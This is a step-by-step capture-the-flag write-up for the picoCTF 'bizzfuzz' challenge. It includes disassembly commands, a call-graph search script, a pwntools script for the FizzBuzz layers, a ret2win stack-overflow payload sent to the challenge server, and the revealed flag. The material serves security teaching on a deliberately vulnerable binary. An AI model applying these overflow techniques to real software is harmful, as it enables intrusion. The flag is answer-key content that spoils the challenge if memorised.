Description
FizzBuzz was too easy, so I made something a little bit harder. There's a buffer overflow in this problem, good luck finding it!
The binary is a 32-bit ELF containing 77+ nested FizzBuzz game-state functions. The vulnerable fgets call (348 bytes into an 87-byte buffer) is buried deep in the call chain and is only reachable by correctly navigating through each layer. Blind fuzzing won't reach it.
Setup
Download the binary and inspect it.
wget https://mercury.picoctf.net/static/.../bizzfuzzchmod +x bizzfuzzchecksec bizzfuzzfile bizzfuzzSolution
Want to try it yourself first?
The guided walkthrough reveals hints one step at a time.
Step 1
Locate the vulnerable fgets with static analysisObservationI noticed the challenge description explicitly mentioned a buffer overflow caused by fgets in a large binary, which suggested using static disassembly to compare each fgets size argument against its corresponding stack buffer rather than relying on a fuzzer that would never reach the buried code path.The binary exports many calls to fgets. Use objdump or Ghidra to list every fgets call site and compare the declared buffer size against the size argument passed. The vulnerable call passes 0x15c (348) as the read limit into an 87-byte stack buffer, a 261-byte overflow. Because the binary is huge and stripped, automate the search: decompile all functions, grep for fgets call sizes, and flag any call where the size argument exceeds the declared local array.bash# Find the largest fgets size argument quickly:bashobjdump -d bizzfuzz | grep -A2 'fgets' | grep 'push' | sort -t'x' -k2 -n | tail -5bash# Confirm the vulnerable function in Ghidra (or radare2):bashr2 -A bizzfuzzbash# In r2, search for the call to fgets with size 0x15c:bash# /c fgetsExpected output
picoCTF{y0u_found_m3}What didn't work first
Tried: Run a fuzzer like AFL or a simple Python script sending random bytes to the binary to trigger the overflow automatically.
The vulnerable fgets is buried 77+ function calls deep behind correct FizzBuzz answers. AFL's random mutations never produce the sequence of valid game answers needed to reach the vulnerable code path, so coverage never touches has_bof and no crash is found. Static analysis is required to first locate the sink and then identify the exact inputs that drive execution there.
Tried: Use 'strings bizzfuzz | grep fgets' or 'nm bizzfuzz' to find the vulnerable call site.
strings and nm only show symbol names and printable byte sequences - they do not reveal how a function is called or what size argument is passed. You need objdump -d or a disassembler like Ghidra to inspect each fgets call site and compare the pushed size argument against the declared local buffer length. The mismatch (0x15c vs 87 bytes) is only visible in the disassembly.
Learn more
Why static analysis rather than fuzzing? The vulnerable fgets is nested 77+ function calls deep. The program only reaches it after the user correctly plays through each FizzBuzz game layer. A blind fuzzer piping random bytes never gets past the first layer, let alone triggers the overflow. You have to read the binary to know where the bug is and how to reach it.
One approach is to script Ghidra (via Jython and PCode analysis) to decompile every function and compare array declarations to fgets sizes automatically. Binary Ninja supports the same idea with a depth-limited call-chain search from the fgets reference back to main.
Step 2
Map the call chain from main to the vulnerable functionObservationI noticed the binary contained 77+ nested FizzBuzz functions between main and the overflow site (has_bof), which made manual cross-reference tracing impractical and suggested exporting the call graph as JSON and running a shortest-path algorithm to recover the exact sequence.Once you know which function holds the overflow (named has_bof in most analyses), you need the exact call path from main so you can replay it. Use radare2's call-graph output with networkx (a Python graph library) to run a shortest-path search, or use Ghidra's PCode DFS, or Binary Ninja's depth-limited search. The path passes through about 77 intermediate functions before reaching has_bof. Each intermediate function plays one round of FizzBuzz and branches on the result.bash# Export call graph from radare2 as JSON, then find path with networkx:bashr2 -A -q -c 'agCj' bizzfuzz > callgraph.jsonpythonpython3 - <<'EOF' import json, networkx as nx data = json.load(open('callgraph.json')) G = nx.DiGraph() for node in data: for nb in node.get('imports', []): G.add_edge(node['name'], nb['name']) # Replace these with actual addresses from your analysis: start = 'main' target = 'fcn.0808ae73' # has_bof path = nx.shortest_path(G, start, target) print(f"Path length: {len(path)}") for fn in path: print(fn) EOFWhat didn't work first
Tried: Manually trace the call chain in Ghidra by clicking through cross-references from main, following each callee one level at a time.
With 77+ intermediate functions, manual click-through takes hours and is error-prone. Missing a single branch condition means the path you reconstruct is wrong and the navigation script stalls at the wrong layer. Exporting the call graph as JSON and running a shortest-path algorithm with networkx gives the exact sequence in seconds and is reproducible.
Tried: Use 'rabin2 -i bizzfuzz' or 'rabin2 -g bizzfuzz' to get the call graph and find the path to has_bof.
rabin2 -i lists imported symbols and rabin2 -g prints a graphviz-format call graph, but it only includes inter-module edges and may omit internal function-to-function calls. The path to has_bof is entirely within the binary's own code. You need radare2's 'agCj' command (internal call graph as JSON) or Ghidra's Program Graph to capture the full intra-binary call structure.
Learn more
The path matters because each function in the chain calls
get_some_data, which runs a FizzBuzz round and returns an integer. Conditional branches in the wrapper check that return value and either call deeper into the chain or return early. To reach has_bof you must satisfy the branch at every layer, which means answering the FizzBuzz prompt correctly (or deliberately wrong) at each step.Step 3
Automate the FizzBuzz navigation with pwntoolsObservationI noticed from the call graph that each of the 77+ intermediate functions runs a FizzBuzz round and branches on the answer, which suggested writing a pwntools loop that parses the number from each prompt and computes the correct fizz/buzz/number response to drive execution all the way to has_bof.With the call path in hand, write a pwntools script that reads each prompt from the server and replies with the correct FizzBuzz answer to keep the program moving toward has_bof. The answer function is standard: multiples of 15 get 'fizzbuzz', multiples of 3 get 'fizz', multiples of 5 get 'buzz', anything else gets the number as a string. At certain layers you must reply with a specific value (like 5 or 1) to take the branch toward has_bof rather than away from it.pythonpython3 - <<'EOF' from pwn import * def fizzbuzz_answer(n): if n % 15 == 0: return b'fizzbuzz' elif n % 3 == 0: return b'fizz' elif n % 5 == 0: return b'buzz' else: return str(n).encode() p = remote('mercury.picoctf.net', <PORT_FROM_INSTANCE>) # Navigate through each FizzBuzz layer until we reach has_bof: while True: line = p.recvline(timeout=2) if b'Enter your' in line or b'Input:' in line or b'?' in line: # Parse the number from the prompt and answer correctly import re m = re.search(rb'(\d+)', line) if m: n = int(m.group(1)) p.sendline(fizzbuzz_answer(n)) elif b'overflow' in line.lower() or b'buffer' in line.lower(): break # We've reached the vulnerable fgets prompt log.info(line) EOFWhat didn't work first
Tried: Send 'fizzbuzz' or 'fizz' as the answer to every prompt without parsing the actual number, hoping one answer pattern gets through all layers.
Each FizzBuzz layer checks a different number, so no single fixed answer satisfies all branches. Sending 'fizzbuzz' repeatedly causes the program to take the wrong branch at layers where the number is not a multiple of 15, and execution returns early without ever reaching has_bof. The script must parse the number from each prompt and compute the correct answer dynamically.
Tried: Use p.recvuntil(b'?') to synchronize with prompts, then send the answer immediately without checking whether the current line is actually a prompt.
The binary occasionally prints status lines or game-state messages that contain question marks but are not actual input prompts. Calling recvuntil(b'?') on those lines causes the script to send an answer at the wrong time, desynchronizing the conversation and causing pwntools to stall waiting for a prompt that has already been consumed. Checking for a stable substring like 'Enter your' or 'Input:' in the line before sending is more reliable.
Learn more
In practice, the exact navigation logic depends on which branches you traced. One verified payload is:
b'0' + b' ' * 8 + b'A' * 95 + p32(0x08048656)The leading
0and spaces correspond to specific game-round inputs required to traverse the last layers. Your pwntools script should mirror the path you mapped in the previous step.Step 4
Overflow the buffer and ret2winObservationI noticed the binary had no PIE and contained a print_flag function at a fixed address (0x08048656), and the disassembly showed fgets reading 0x15c bytes into an 87-byte buffer, which meant a 95-byte padding sequence followed by the print_flag address was all that was needed to redirect EIP and capture the flag.Once the script reaches has_bof, send the overflow payload: 95 bytes of padding to reach the saved return address (EIP), then the 4-byte little-endian address of print_flag (0x08048656). The binary is 32-bit with no PIE, so the address is fixed. print_flag reads flag.txt and prints the contents.pythonpython3 - <<'EOF' from pwn import * e = ELF('./bizzfuzz') p = remote('mercury.picoctf.net', <PORT_FROM_INSTANCE>) # --- navigate all FizzBuzz layers (omitted for brevity; see step 3) --- # Overflow payload: 95-byte padding + address of print_flag PRINT_FLAG = 0x08048656 offset = 95 payload = b'A' * offset + p32(PRINT_FLAG) p.sendline(payload) p.interactive() EOFWhat didn't work first
Tried: Use cyclic(200) from pwntools to generate a de Bruijn pattern, send it as the overflow, and read the EIP value from a local crash to find the exact offset.
cyclic works well for finding offsets locally in GDB, but the remote instance does not return a crash report or EIP value. If you skip local analysis and send cyclic directly to the server after navigating the layers, the program crashes silently and you learn nothing. Use cyclic locally in GDB on the downloaded binary to confirm the 95-byte offset, then hardcode it in the remote exploit.
Tried: Use ret2libc instead of ret2win by leaking a libc address and pivoting to system('/bin/sh'), since print_flag might not exist in all versions.
The binary has a print_flag function at a fixed address (0x08048656) and no PIE, so the address is the same on every run of the challenge instance. ret2libc is unnecessary complexity here and requires a leak gadget plus the correct libc version for the remote server. The ret2win approach - overwriting EIP directly with the known print_flag address - is simpler, reliable, and correct for this binary.
Learn more
Why 95 bytes? The local buffer is 87 bytes, but the compiler adds padding to align the stack frame, giving an effective offset of 95 bytes from the start of the buffer to the saved EIP. Verify this with GDB if you have a local copy: run to has_bof, note the buffer address, then read the saved return address from the stack and subtract.
Why is there a print_flag function? This is a classic CTF ret2win setup. The binary contains a function that simply calls
system("cat flag.txt")or similar but is never called normally. Overwriting EIP with its address skips the intended control flow and prints the flag.For the underlying stack overflow mechanics, see the buffer overflow guide.
Interactive tools
- Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
- pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.
Flag
Reveal flag
picoCTF{y0u_found_m3}
The real difficulty is not the overflow itself but reaching it. The vulnerable fgets is buried 77+ function calls deep; you must use static call-graph analysis to find the path, then automate correct FizzBuzz answers to traverse it before the overflow payload lands.